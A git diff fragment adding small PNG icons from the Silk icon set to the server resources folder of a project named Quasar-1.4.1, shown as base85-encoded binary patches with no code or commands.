zoSB$nW{H_=-4YZnVuy#%0?tw&@Y@tUKj7w99PH2< z=fP)r>Mf3)0R-xr!n?u1=*Z1|{o#gtCfYW)PYLmqiLpY;!JUnP3xoHS5)=fq#+hDVdcokc z>mEP-fM=E_eE7{RuRgZ`0N(jx$7;GNiU_#9!6z5EeuaY_{i=3*zX5AM{0-o+VXtCm zcPNCU6cHmiGT5f~Ia}X}@th)4kCHdfFG(rOC}d+LRaMzL7%C+Q6qz$G)0&|7rOvO> zVO4wmy+6c2GfL7Z$;dgA8EYjah?(h!IJN@hMw14rQKN`0WWh)XK~7oDNz>GZ!$t`N z2HVtqT4U_|ZofaR6-wuyKB7rOL^3%fowDtXcYFTbJ5U-THyH8hC0a-6Z5X9j6k3vj zx7S}XH8wAZcKUxhx3Vhg=vPCfTUKp;+cmR72cw!3CzacU6LZW??0e$mX_M{aM0O94 zn;CD6wJAdoswYjh=Ug_YE1|(5FQiq2`<6}KHK|kHtx2_zl8{GI==-I2)AnBNe~SJJ U?f9j-VE_OC07*qoM6N<$f^rf`ssI20 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..f1fde7a9ceeb500d97e5618ee9c0deb9d38519fc GIT binary patch literal 801 zcmV++1K#|JP)e=rfe*WBnrlp8ZPW$Jjl(9T(mJHUQ8Ae6R(RN zBt&l>IH@82B_<96Vnjt@==hy+8Qa*{9D{Z1*RJ(>qRN|EGex6fB>({d0096{!>qAn z+Q~RmG-~%tC7na0(u9~OB1A-i5D_Azh!CN%$?UJC%(rL7VkMnJR8ka%Nnzn{9$X;= zQUQS!qClfTa~mB8=r~)7K`KqiGB^Slp}NNHAGq@kn~xFEXdvRhd9qJYC#WNeDbF$S zB~uq!TO^%h-%(!ui0uaf5!EUiRcZ+dv49X!p5yxGgorrMHo(9!@77$_iD&M_LM?ZT< z$hGsr`!>ekQb|3O?|wyP?u<-RkCYeGk2M1jwxrUY~Lxr z>xhker-V#Ry17g4(KT&NyJc4&i`5|_)!^U>(#=etH-GL!`UZ9MAGLAs6CqubtoB&C zbk(+Ut86YNA%M`Jy`SyFwD+2?HLP^@>*zZong3KO(@Ncz`@31ufv*L~yrMGS)^8}ll)QBZ$)Ue6-@47m9$7{zw zbMwpzw=P_=rMO>Mnli9blU_W>jce34X~_`?W{jErh2}Q$oo?T~FZt_hJ^K&I<@UJ$ z$E3c_r)B#N(A`68Gc7r$Cde3zDlcoz6pSh;sq@C=R{Og<4e#x-HCfPm^SY+>gakDt fh>bpQb1=l#8B^Gr88*5;<+!eZ${N?VekMPBtm7fM%AcU^T;2fL6Uvi^hcrtqea zx-AeYL1q~@RuFPxN)I?AR_Wji15$M4tkWP^9KhNqp-&;}3?01yBG6*@jEmVDY6 zo_4~_;kL;+@*zTlEF)xOfshe0Kt4ohvhOJ1DCIhf=eYJg^%^o#LdNPXnvW0(BC-bEn_T{mzkgwU zg`rJ6b%a+>vi$%cqb%u{R0RbM0U@J%lfS+uWHbWfd)fOo4^8v@`z)N|+BpUl#elM= zPeVY!)P7!Ub8m^x0!#D!bey?&t&cR_j~$bfd*qAf8B~-N1wn+I3`3iknB|$bc;zIm zo#Mh5?q2yyv$eh<5;pV&%OQxHH%OzdI%ekNwwanRb@s)rRYb9W)x?vJ`R_qTcXWgNlNl{j zBL{4mVR)2~EH2+LefYT0$Yn!2gywFK?t4LK?v@Qdp|NR3KK8ilo%4&?;AO4hDJM*6 zi>SCT`LsHcVv_18#VExj#U#Zj#U!OzrIddEA0e?C7b@lbXaE2J07*qoM6N<$g0=E( A_W%F@ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png new file mode 100755 index 0000000000000000000000000000000000000000..f2eed1ecf085b18d5f4f9679392fd5d9226c63a5 GIT binary patch literal 761 zcmVNYz3XHMWKZ)I$ZA9z+8kMGt~U9g5&Zh(&K+f_RX4 zs)%?{ECm;+D8`7410u4FBqL8ri3Nm+&1KHNLx_k2J)?|1$<6@|KhMH67f;j4Njqc( z2|++WbBrh6=7CqZ?J?Fa^ZARkXMlsx(l<({Lz0u_q{K?75uv_=y@Tu>WN3ofSDAm4 zvUF_jW$VeBH>v@RWQ(jIAqa@@&sjcsj`?XeR;h32zL)5}iJ2)$*0HZ=&{O3FX(uBq zNr?r7Ko!_pq5TER-)XJ=s;Y8nnMw0Z|DFQ|n}=ObHaxmD=VWKZwv<>25w(i(7pQmB z{!;$mc@GXht*A;xStwPOu3dGf2epB*_zbk?Xr*KwcJ#s53&)mg0vtj-1GZeqOi>`m*%{;`>0#nZ5pPc&ck*!nkF^1l*o}F rMT!JD!$YjA`D(r}P@rKdS#tb;x8Nj$twIaT00000NkvXXu0mjf9~xne literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png new file mode 100755 index 0000000000000000000000000000000000000000..156bfa97196cf588f37d632622df97ebe44e33ff GIT binary patch literal 771 zcmV+e1N{7nP)$D~!L#YUl~BZHvq649ZAxf5_EO z>2z#tE(pVArP0&Yr$1tCNned9B4GVGQ*U$iJe3u4-8}O?J^S6ed`@fYlEP!hRc=p7 ziX+yts>RSFiinXcvb)T}6|TI;?H|c?^Yj_DG$=grl6G}YS7}JvP5IfwD#s5?bs&&r zoH#?ShlQV*`JB=SJ%iHw%9Q@l1O1p>RvG^^ygS^39y{hqBmzj)x}YqG}oLVMd^Qx&;Z zUDDXKFE{ML>NTkbvKHEWcbZ&*h3hK4T}scruCe-wG%c9DRM9=(abU1dXz!I2`iLYS z98y%?bHe?H$oCL4`UX^O+w)K_t#z|MZ0W6*Jo?B1u`4g8Ip%M$xi}f>FDT~ACX|iq zpoJQDiu+X`KB%^~qxk!*;q4t-Xdp%2WbLlA{{tv__{?i0Ac+6~002ovPDHLkV1g3t BZaV+~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png new file mode 100755 index 0000000000000000000000000000000000000000..c45a534597a9bc21d7763c6672e5ab3a7fdf2659 GIT binary patch literal 806 zcmV+>1KIqEP)e)p@r>Lu`Vf5 zW#SyQDjfx$ew|kj^TZG!BFm^}G#fNX1cZpk6@LGk5Rn8HuVdYtELhHS2e^EMYo|z? zG*Yq_b%KC^{>|+DitV59)GlTwIQ;=P&H@|WrL>MTrQRfK(jaIFFaZQp)z9II3+#>U3nY^;)ikkhxug~^8Nm4EFS z9(L^0_ne=c(?2j^?b@{_9?iLU@Sy4GXov$;llOAY$&WU&k*g6bhicdd8VQ z8-|C66^li)v$Lwzs-s7bDnCEy7ZiFIN;Hr+(K2xVoSz>JfYHnIwAu}$qoWFi0;tt$ z@@8iA#6>&a*{XW$rud^lz53@5DGr)HzuVdIY3W>Q)%qcG&JOe z?b{8k81&cpRoBL^Jc!bl^>+3f(XZTUF*)1gv)h|>FL_eOye{pWJ$HVvFq?C1=`O7( k$kMudm8qEpGY@wD4`V|Pq6VErV*mgE07*qoM6N<$f-*aKT>t<8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png new file mode 100755 index 0000000000000000000000000000000000000000..3023695d8c6c1e1bae579de69a9c03bae48cb968 GIT binary patch literal 737 zcmV<70v`Q|P)Wh5E$7yrg zg2#?^OdKI;5K}@R20|nTVn9MbKwYu=Tc`QMX{l7l#1XQD$vF~q|K!dhF_J_?5`;)y zGcrbdmiFmR3X%qKkZ0xr^AtN=KgZG;s%-@78i9@53_eJosE?4cyTii#dlM8xDA zuYSu5pYrHQHkbMNLsotPW=}COLzdAiDN1rueMkss3^RU^@q-+i=kjMR-7Iwfxo$ff zFwl5YYxWJtFT5@m6+KcB0e7!(_8r=Xd19X7ahJwU*(`=UJvAb2B)a!<8(W!+kAL7; z?k{f%d3w>q+v8oKznINzKvsX^gOP zk;QLpw?5HqHk4VZUz3%!!8B3UDP=`Y3S!OpVW#GQy5#CvL+ysVs1y}tzXo++cV~yP zCMN=cy>*IRVEqPJ=D^-HTYHt!eW{_r)O|w@Yj+Fvf7h&T-J>Lxqb^bL<9jq(tXv^0 zJ@v;|mNrki@z9I1T9k;(ZX~Cq9K1%eEBS#MkKBI*XX`r^Xa>XhWCbuJe`$z&$u+?!#3$#k($ zYR7OtSWq_`d@g`$Q!*K&ZitJ+5!`(XL1V(834FnW{-jyU1<<@%I!hcMIOuP83PwdK z*l+r5lmxLch5Ar*ZfG!cXl4Sq?@jccD}`>kRWP^o1)w)Y=bn%cFn5jGRP`5i>mIDv z2FzDFu0Fd+ofzKNG34TD{s_Gn3P1j6BN;?lB8iM7+R5OhhUVH){t}gE0;iXy(&+6F zVe2~Ed}_rA#R-PYEZsRSiN$aE&zM0T3!L_-$#*xTexwFS&LebIg|Kz|gm0{WzxgAP z+8bw8?LkA+?uyz}@w3IXZ=L$e>JLp?JK9_dQ16R#s!!&07-##4dm(}|53Gf@6rdFA z8GuCfNuhL&K=dI04?tQ!smiP_tF4idL}xi0;rP>1z;BVkXSJz1o%8PH0@!<3s4|Hq c@8sS41@Sp1TCQ_Hr~m)}07*qoM6N<$f@uN`6aWAK literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png new file mode 100755 index 0000000000000000000000000000000000000000..b0ce7bb198a3b268bd634d2b26e9b710f3797d37 GIT binary patch literal 653 zcmV;80&@L{P)WO3(`_cf+b25@DJ#zdQm}8GzWtq2-QnZ8W6mB^kfeK5f%S{ zUW%tGMCwrwic~ZrQcG=4f?5bkV+3dRk8hw6bk~y$KX#b!y*J4EJ~>;dRASqrSu;ZpM>?P}K~6AT zWv6Dmq?v&9LdXC(m%WCO6ma_di$R(v$@ad_>@R41N3N5lSJq9@6CGhX84-$%Xrd_6 z;){?{E|Ytt5$S-&Au>t4wDlIxdkfe-a22LMj``McG};r8@{GsRPm*+8fFey6C)@ifDBXVyTw(N@Xd41b45OFg6x_QA zpwLiigyy~cVoPxW^r~C7ZQpr%>1$*HKmv~AY-qJw4;gUecS--wnqslISSS=^KA&Ic n@BK|Onfz#3R%n{$a)0j^sqv5F(1NTL00000NkvXXu0mjf3S}fX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png new file mode 100755 index 0000000000000000000000000000000000000000..40d681feba594596c64e0947b8cae5ce9086f919 GIT binary patch literal 739 zcmV<90v!E`P)GL6il?1Z7P2*|7g?{OO9$@TbH1?j^i>BB&)xBSKKI=BdzS+s=YPijNo#8> z*V5AR)9?3h9JknJv&E~ct9MK$)0#*?;BA_wANhPfI2?{62Z2#lRW+c~=~hJo0)xOm zJRVPmX1?&(C%^N7u`S*k-QpKxJ^Z(|9^Pm)X0%%ELPbRdL;|nZyG-C)6h(2$>2CPu zHV}LVG)@CAV;R;g61NZ@w6lP;HQ#_4pj`q>&t7&BZ`>!@b{&p2>% z;uFft%U6_2<&0b|Pl^NtP7rvQyz7!PR)fwp2bz|(sCys8g|R5kjl@7;mcYXji6kKs z)YjH=1P+m;7l+bqc)r<%r<)y!q^=_J`7#F6mmrhL*y7^iP(eWfClc80_O#V%Wl0vt zwop`5#OLSdv$?ssX_0`yoW)`Zk)#&_^V?|u0JO~k^enKn{t&OHI?)`q?>5}4fxY|e zuBk)XbwFS?n-d0uVVESnbhw2(ueuR>LE$YI0sECfc%li8@ENF@PxkK%^m=`=va)i9 zBrR&;%I)(Q{dgav@drZx=%4f;JlQA+e(wti%o3O;Nv|Gm!E!^6DEAou9&c76g5d9W zURG8Hg+eh;lK%B18OT0MwP%M?*Rq2fby;=r6z($h=w)1caPPQFyo1ux(o9K72}LBL z^bM2>7yD0RfN}3VS(t_E0~tuA()Gf^!c1OX-ojCTB3az0XgskiY+KQ=H}?tm{{Txk VbfZtx1EK%`002ovPDHLkV1hC*Sxo={ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..23a2508c5cb8bdba45e6472961b91d29efae0f42 GIT binary patch literal 730 zcmV<00ww*4P)LxFQii)DB zo36qj!ATU1Fr*8$5YuuNd_J?HeSTut3w2Y&E!&h!7B=Q$6DS(b(Wx$L<^ zG#dS2nx>EV-rn9GC{!E{hX-|C4@fCTJ3BkKFB4F(!Z3`-#K}k`Qm`!wXK5q$t?Gb+ z4&o5mbx%{9EV4Nuqy=FDr#v^Yr5I>D*JGz}J+UK~v*ivH93XBJ!@cTVp5n9I=5%w5 zyLkdN+{Guk5aJW@kmz640R>BldP2I?KEzY+P^a90&8S3I@*w(Wsv*P)NpC+wxC#k$ zB0&$Uy$)b^X)$I*GZxY{NX~{ZJnzZQZxY!W?9LT#B@~m_{|d;ik-$$VZ!_0Ws~v~KDE}>)eEA-mz6>LD=A!2C zS7C7=rVhrtuXOKKQ?@*TO85!(XA5UBqkp8%fW=oaRMa0v(dXA-kB-7Q`V3{hQpIA{ z`TP-PiKoQrm0KuDj-hD1AJ`xL_YYj!0L5fw`6C1=e2ggD87JaXVPL z?*-O8Z$@Tu5^1WRpHpBc7|$0_R==ld+Jjij)Uxj{*iNkLiNjaQVOLblPfLtVF~fp& zi{*ajU@$mDf^uSDWMrgnk literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..af66b73f2097d34f01d86c6a4a4d7f1980f94dd8 GIT binary patch literal 855 zcmV-d1E~CoP)l$D+s&Mu=$; z6r}`(5yA|KE~bWoW;aJ}R+>6%H+7ruIos)3N#vy$exDxx|L1+4|NC;~<>l`pkw_}x zs;sOuW0q4~T>L>4MYAMHj>g8ujDKq?5~hd4;oHRF($Z3SHUknzsUQlb*Hk2oA-0pd zm~^N@idDpbNitXjIFfW73$#Gl$yODK*Abc14HP7NOH>i|*Zd7(T<{4BjX{tFgWyEA zpc94!#@J`#7ST211|&=%))A79@5GDo4lGw*g(7T$&Akm>UMmh{s`e*ofS6s+}$NBwN{M(cm^&sus=E*n>5JUWHdv~ zX&}Lbaoq@zat9Gk#7)MqCqEFkck{OSf*}t&(-L@{7JO=|y&N@2AhsHf#vI$3fmt$8 zU}Z)yWBY@gIqQU8ON|p-^%LGb63`k+fMLTI203SI>Br@{5K zZIq1$3YVUG()oKpy1tL7C-`UzMf7saVi|VKd5+|)Enq{nP^x82_*2o}+!~RBf$YVn z+dKZoNS$*?yqic{Z%CDu-QSU`+Q3O%G6uV^L7%Kf$h`nxn_EI96gu?j z&qES>{}`s6JjBIWFwoIGcD~;E<$k-XlK#xk=?0uEPyK);Yv%@+E;6cCWSAiH6R(1< hk%NVo-a7D~^9#54wyk$25e)zU002ovPDHLkV1gTsf-L|5 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png new file mode 100755 index 0000000000000000000000000000000000000000..88f3d69bcaa67e9674375232e16f385ff7370776 GIT binary patch literal 800 zcmV+*1K<3KP)4(U?CVpBcg61u#2F`i-AOS z6QvhHNLC1TSx})FYT3sYZjgqW&d*JEK6^$g!|lM27vA^%|ITyH^S+GV@BgYONDo6x~8MxPFa?p66bwBpPETP;UsND-NrQ?1@%M&*+qL( zn`F@FAxJ6&1-M{u$M$UC?Bx$S3Re=v8wDB)4ioo@U?2OCi*fUu#%SYI&c=n|<}BO< zCkVnX;xRFlRsjXgL?t0v*g?FDeL}hR9yGE8z0u8xe!oH__wZ=~niN(AdusV2WHClaC`8Qi7ueDPg%J_)Y_c{U zwpaV_j4Wjmn2Do2&zJUI9Z&0kp4FhKHYabFr;#~PJ-L`kut0Q&!(qvBv%8F=E{HN9 zP(zz+4`7Q$U@(?2=FNLi<*^vQcO9#6HoWLx?*jeVETWLmeoWlPf;Ix$z61VyS2TW@f zloF?jf`hhv)yWm86()~*Xy!Mpc^)Y7VahI}%?zsk|}Qna-_RO@suqG?RMAG|+MmOpXj9_^S0eqpIl_@crGgX;oH?s-jZ)N($=w eh~%iM1OEW6IIf4)XAG_Y0000s+KnkY`Eo6h&V=bWA+7NR@wyLq4U|DET3pYsaU)z#lsRm~+9=1NbpotRP@QR?BSgMY-(!CUtKd&Fi%mGr^Lm|%1SMffWkU;#IdzCBL&UGNwUk% z3w3;hXa?gNmU=Q(-80<)DkYZ9q5-ko%lN?eIUdbj+ zNQ|)`L?h9?t^*3D5`Kc)lD^?%tP?)NJ&4LSybYf~_iP~;JICqkrwCgjflLIcSm-hX zC7Z06WmSkScoB}2V{qQ7?_VYKcURCGd(G=TlEDO~ z(CBCi0p}ZRwi-}gR@J|x$~&{u^2NTfu7%?dax5>aMwTT;I$0A5atT96>=BBk3YfJF zh@+)=F+%g#I1b!O-j!j`Lw@>R%*SKs{{1;xde?4ixgL({f}|CJkYXH0d-x8DlCQz4 zG8`#53q@0*s0vhQ7>|siFmpemY*G9g`VjHn7VY{LBE)mzioa$e3H2M{(9cMCAqXOR#lX@1Tgnr->YYTBeqS6v!3>T6kRG3WqCo3x$(B3 zLi6Ce2?`$`uhseluh-j80yoh!G&JN(G)7612HZE7ww8Df;r(Fq7~K;+Jh1#9Xj;Mx rxbAV+2r)%9SQb^qJz1*-|E>Q8ss6iyye%@B00000NkvXXu0mjfIy`F+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png new file mode 100755 index 0000000000000000000000000000000000000000..58921624ea7ad94f49d7503917298b534f9dba65 GIT binary patch literal 835 zcmV-J1HAl+P)!JGa#`+3sF6FCXg_P*h=nl zVSS5|%jbY8I+zCREckVFm@dO7|=`h%V0s3!wCy#g@Q7qq;a6=GBi#`J7dsP z`Ca`gZvDuOsu!8@kEiD~^tBrXTun{Q2#KQ(hhuRp7Ry!wdV71n`Io4%#>VO*$ywObA>YN&Z~)`FsN&kB7Njt}b2I@tY5~s-I=Xj_awxP5R^J z3U#HsK<9aW=? N002ovPDHLkV1n_Ef++w1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png new file mode 100755 index 0000000000000000000000000000000000000000..0f24e86e4028717876f6650558d2451ec644bd4e GIT binary patch literal 830 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 D3;i%v literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png new file mode 100755 index 0000000000000000000000000000000000000000..5f15e526c0a3244f5dca94d7d6f0eb8f28e99c7c GIT binary patch literal 651 zcmV;60(AX}P)d+j7)2IFP!RM|;6qPprtQl^u+-aqSi}MFlnvfmsk?R-o-Gupj{b7%)rcR2bHge)vq!@bbYa3An=n z<*|lTk-eWn&pM#_2J}#jh5#E?Hqhx1em|E7pr|gu(nJS3ZXcC^EDmV1+m9pV!$%HW z@&OeT^{bRbZCeSMpit4>t>x{(+5)(Ts-WgpT|2$oPW9&jRr7pUO!00L?qAWVA3t`b!EDVfFf(juaajm2ewGR{_!ijCMa-%ku z>$op!<~*r02llbqYHiJS(kyd+tkv+ibN;>WSsXOT3wQD7h4Y^0$MYPXQv{%>ko@_!-JTr^1YfBMxRMTQ8AJL!*9Aeer6K*nRJ;@dF@_iub z17@P6i(vxv1F@bA`kEO6Us?`4JQ! z+XpBxssP=ppWO*3a76=;vz89E!L&k7RBB#s#=4x|`{;RWi+t!IE^*bqWO#wVi zZaDrJ`239IDQR~A@SPN4Q)MLfe0(Ho6*XLA>R!qE%?Pz?(Q&$j0%Z!&arDJqo0|XS zU@}q{la?&y6AStZF0gbbNC9Iwvjvd{hnLO2;v)S6++;8BDhT)x)T;{uW2MxECPn{*ELdZ1op0xyVpxzDdhz3h^YVPo^S(T97!Wp}{CC5s zOO0&MCbYN{*S_u5sKy(UFm7-Lr)M|odnZ1F`|tp z;QLC~;7ZS9V!0QqC_yL9nVW1CJTMZN4M(R$+ zOTZBsFr_4h`&3JNv0I_O8fwI~`z}0v3|$@I8UFpf@&;uE8s7DoF&~bRfJhmzX*a6< zs}(O~Kx~cpZxH}pS*S{qZRPWYW?G`zW8AQcn3#1@S*BcNV6f!zir{5lPjYZSt>eR~E27PJ0+es0y~s0ch&nN;M*NkCc% zXiQ#beHkC&om4IpK8qPut?)aNVjs<%39&#|d3=N1!OZi|I!ONj#Vr@M%?lVEC`+Fg zAQwL{?FfzVoB-$9WC=Ju7r^r86-w*!nR~wgLM67#gs;7-00000NkvXXu0mjfgI^=` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png new file mode 100755 index 0000000000000000000000000000000000000000..14c89a5430dd9e34b445564c972634474d0aebf9 GIT binary patch literal 671 zcmV;Q0$}}#P)h~F3KnqFOq_yZYrcmh=dA~yr_$e+EQlLNOGM%Ml;i# zU7Vw6Zfq9mSh}^jHcU1p^JCLZD)&8iwzFjZJLh0y1$p5v{=642&yVMMd0qklkxl-4 z(M8=Y*1b6uGPP|>4YuT`RLb%n4=(L%zJGQLxM;W>UlFiB6XECJF0cUu7*7+ty}2;F z$iZSFgb#K51w;U7TAHJ!%Yznj4XknkpGg9?Cj=tncaV(Pu*kZQi0HutwHVN~Vz#dy z?bmnnK*b+mb6>}?_`=jZ#9R*%o32OVJB?(ZAJO?1uu&s|o*D$)H=w90g!f}38ZYGW zz$O8p=(;nXx{H4CfX`SUBs_Xqz?h(#i-rRvaF3io=dD6abXW1kNIxP?iIpSj?Wx$b z3_jBy_|1Dc;0l--67ewKMJxQCo0xJ+mkbSu;p!Ft4Rlf0oS|{aQrJ-ezvUp8Lx_x3 zf|*qy86QQ=Pa*1S#uu{;V{K(HlSg^LnFh2}S$JV`x&48y2sa2SQ(^A?I@lE=Sas)EyF>d_)lVCHYIEUy zbsEa6J9wZZ4XE4CdrjneSRacpBp1O#uEo2il0@cCa0R6=D|ZSVWX`|hBK-r%dTNTZ z0=`-mC$j>CVtvDr^a`&E=)8S^2dY;CJYW8W{JA0X?l;dl(LPG4VetR}002ovPDHLk FV1l@oDiix(K@^6+>g^d@v4;gkbWsEoXE%32*i1tcpTNXd5CcIl)ECgqz|2rE6EW}s7R?kl za1q`0GCkMruC6-2LANtwVlsgzsp4?{@7$`KBv!G66>Vie3h?3OmEEkjwdLG0PgLVi z`!N((f$A@n17Ldj#`};0I3@iHJ5M{#IZz|UIYRm4(!uV7eYIYIwQf&}_2J~}>pQ^n z6o8--^T(=hkBNQ_k{-_GWE;FMW7!p}f{NG3nHZ{D5<3d8&tLh%a4AqqnjMkr3m&fkMdECD3N5}Unig5wy40;>lo4j~k+e}v)` zR6)J8Mk*u=SpB`p6o)7j?S0T@9?bz#m@l>gc*zk__|*!FMcHwP!gwLJvS~9c0px8E zWg@#5J*h%>dq^uaFBvVQ$3&c*y#>&P@VnG_z zkezqQ&je1b~~$O}L9 zo^;|X_f#3CS5n-cFHBf|3c+u^PpWoka6G0Rsr|AOXUJ zbHD{5nUGu>5YB96PUmjGgM{$-j5TbT8bBGbz2R zHjvpHkWu0*cCs9&;{|Ugi`d3|T+)Vj%kXX`qqQ>4W)|B!_mMlW`2x#YyU0W#8Pyvn z-<;pE4zUG8k-yYxmFW4%eIAbtF|hR_$8YW;YMMc&ZY1$9z5S(QZA)e!-q6)Y`+^>Z zzdYprlOaC7jZYg%{Ey!L(s5u9Pz1(+vk%UU4EzNDb1nO~@as(g0000WdP)hGNhxyAUiWDzvzAp&MOTEEMdb 